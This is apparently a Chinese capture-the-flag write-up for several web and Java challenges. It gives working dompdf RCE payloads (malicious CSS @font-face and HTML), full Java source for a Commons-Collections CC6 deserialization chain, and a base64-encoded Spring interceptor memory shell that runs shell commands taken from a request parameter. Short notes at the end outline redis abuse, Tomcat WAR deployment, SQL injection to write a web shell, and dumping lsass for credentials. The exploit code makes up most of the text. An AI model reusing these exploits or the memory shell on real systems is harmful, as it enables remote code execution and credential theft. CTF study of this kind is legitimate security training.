Tprint
/runtime/log/202204/23.log
有个Admin控制器
直接index.php?s=Admin
能文件上传。并且目录可控。但是不能跨到storage目录外
根目录有个指定文件名输出pdf的接口
/public/index.php?s=Printer/print&page=/public/storage/static/20220424/8af39fce798b3cd3bf2f7155488f9808.css
大概率就是打组件洞
google下发现最近出了个pdfdom的RCE。
https://github.com/positive-security/dompdf-rce
简单试了下。靶机貌似不出网
把所有文件都传到靶机上。靶机web通过报错知道是81端口
并且。github中的exploit_fonts.php在这题中不能直接用。嘚自己找个ttf。不能带<?
然后就一样了。
上传ttf的恶意文件
恶意的css
@font-face {
font-family:'exploitfont';
src:url('http://127.0.0.1:81/public/storage/static/20220424/cbf2066d1606641d7c2358b7d6f9daf1.php');
font-weight:'normal';
font-style:'normal';
}
恶意的html
<!DOCTYPE html>
<html>
<head>
<style>
body {
display: block;
text-align: center;
}
</style>
</head>
<body>
<h1><link rel=stylesheet href='http://127.0.0.1:81/public/storage/static/20220424/0d527e00f4807b4bcf101c239866ea77.css'></h1></body></html>
接口触发。就行了。
然后找文件。由于web是在/的。可以访问到tp vendor目录
触发后文件生成在
vendor/dompdf/dompdf/lib/fonts/exploitfont-normal_md5(css中指向的php链接).php
WebCheckIn
绷不住了。只能传php。其他文件都是回显index。
php直接报new Error(1)异常就绕过了。
然后flag。。。。/var/log/dpkg.log
ezjava
先上exp
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
public class main {
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(exp.class.getName()).toBytecode();
byte[][] bytecode = new byte[][]{bytes};
HashMap innermap = new HashMap();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates,"_bytecodes",bytecode);
setField(templates,"_name","test");
setField(templates,"_class",null);
LazyMap map = (LazyMap)LazyMap.decorate(innermap,new FactoryTransformer(new InstantiateFactory(TrAXFilter.class,new Class[]{Templates.class},new Object[]{templates})));
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
Path file = Paths.get("cc6");
System.out.println(Base64.getEncoder().encodeToString(Files.readAllBytes(file)));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
exp.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class exp extends AbstractTranslet {
static {
try {
printName();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void printName() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException, IOException {
Runtime.getRuntime().exec("calc.exe");
String className = "GuokeController";
byte[] bytes = Base64Utils.decodeFromString("yv66vgAAADQAiAoAIABGCABHCwBIAEkLAEoASwgATAgATQoATgBPCgAMAFAIAFEKAAwAUgcAUwcAVAgAVQgAVgoACwBXCABYCABZBwBaCgALAFsKAFwAXQoAEgBeCABfCgASAGAKABIAYQoAEgBiCgASAGMKAGQAZQoAZABmCgBkAGMHAGcHAGgHAGkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEUxHdW9rZUNvbnRyb2xsZXI7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEY29kZQEADVN0YWNrTWFwVGFibGUHAFQHAGoHAFMHAFoHAGgHAGsHAGwHAG0HAGcBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAFEd1b2tlQ29udHJvbGxlci5qYXZhDAAhACIBAApndW9rZTEyMTM4BwBrDABuAG8HAGwMAHAAcQEAAAEAB29zLm5hbWUHAHIMAHMAbwwAdAB1AQADd2luDAB2AHcBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAhAHgBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeQB6BwB7DAB8AH0MACEAfgEAAlxBDAB/AIAMAIEAggwAgwB1DACEACIHAGoMAIUAhgwAhwAiAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAD0d1b2tlQ29udHJvbGxlcgEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAVjbG9zZQEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gAIQAfACAAAAAAAAIAAQAhACIAAQAjAAAALwABAAEAAAAFKrcAAbEAAAACACQAAAAGAAEAAAAFACUAAAAMAAEAAAAFACYAJwAAAAEAKAApAAIAIwAAAboABgAJAAAArysSArkAAwIAOgQZBMYAoSy5AAQBADoFEgU6BhIGuAAHtgAIEgm2AAqZACK7AAtZBr0ADFkDEg1TWQQSDlNZBRkEU7cADzoHpwAfuwALWQa9AAxZAxIQU1kEEhFTWQUZBFO3AA86B7sAElkZB7YAE7YAFLcAFRIWtgAXOggZCLYAGJkACxkItgAZpwAFGQY6BhkItgAaGQUZBrYAGxkFtgAcGQW2AB2nAAU6BQOsBKwAAQAPAKYAqQAeAAMAJAAAAEYAEQAAAAcACgAIAA8ACgAXAAsAGwANACsADgBKABAAZgASAHwAEwCQABQAlQAVAJwAFgChABcApgAZAKkAGACrABoArQAcACUAAABmAAoARwADACoAKwAHABcAjwAsAC0ABQAbAIsALgAvAAYAZgBAACoAKwAHAHwAKgAwADEACAAAAK8AJgAnAAAAAACvADIAMwABAAAArwA0ADUAAgAAAK8ANgA3AAMACgClADgALwAEADkAAAA5AAf+AEoHADoHADsHADr8ABsHADz8ACUHAD1BBwA6/wAaAAUHAD4HAD8HAEAHAEEHADoAAQcAQgEBAEMAAAAEAAEAHgABAEQAAAACAEU");
//控制器的bytecode
ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, className, bytes, 0, bytes.length);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
cc链常用链式调用runtimeexec。要么就是实例化触发TrAXFilter然后打TemplatesImpl等
这里serializekill把中间的链子和runtime的利用点ban了。但是还是可以通过TraxFilter打Templatesimpl然后定义字节码。
同样的。cc6改改就行。
现在能触发任意的transform方法
触发任意的create方法
然后就是老链子了。
bonus系列
Just Hacking
redis 6379
进去拿docker的auths。pull一个flag私有容器。
Java_mem_shell_Basic
tomcat war部署
Java_mem_shell_Filter
log4j。dump jvm内存
Isass
/book/
admin 123456
后台有个添加的功能点。sql注入差异备份写shell
1day提system。dump lsass拿flag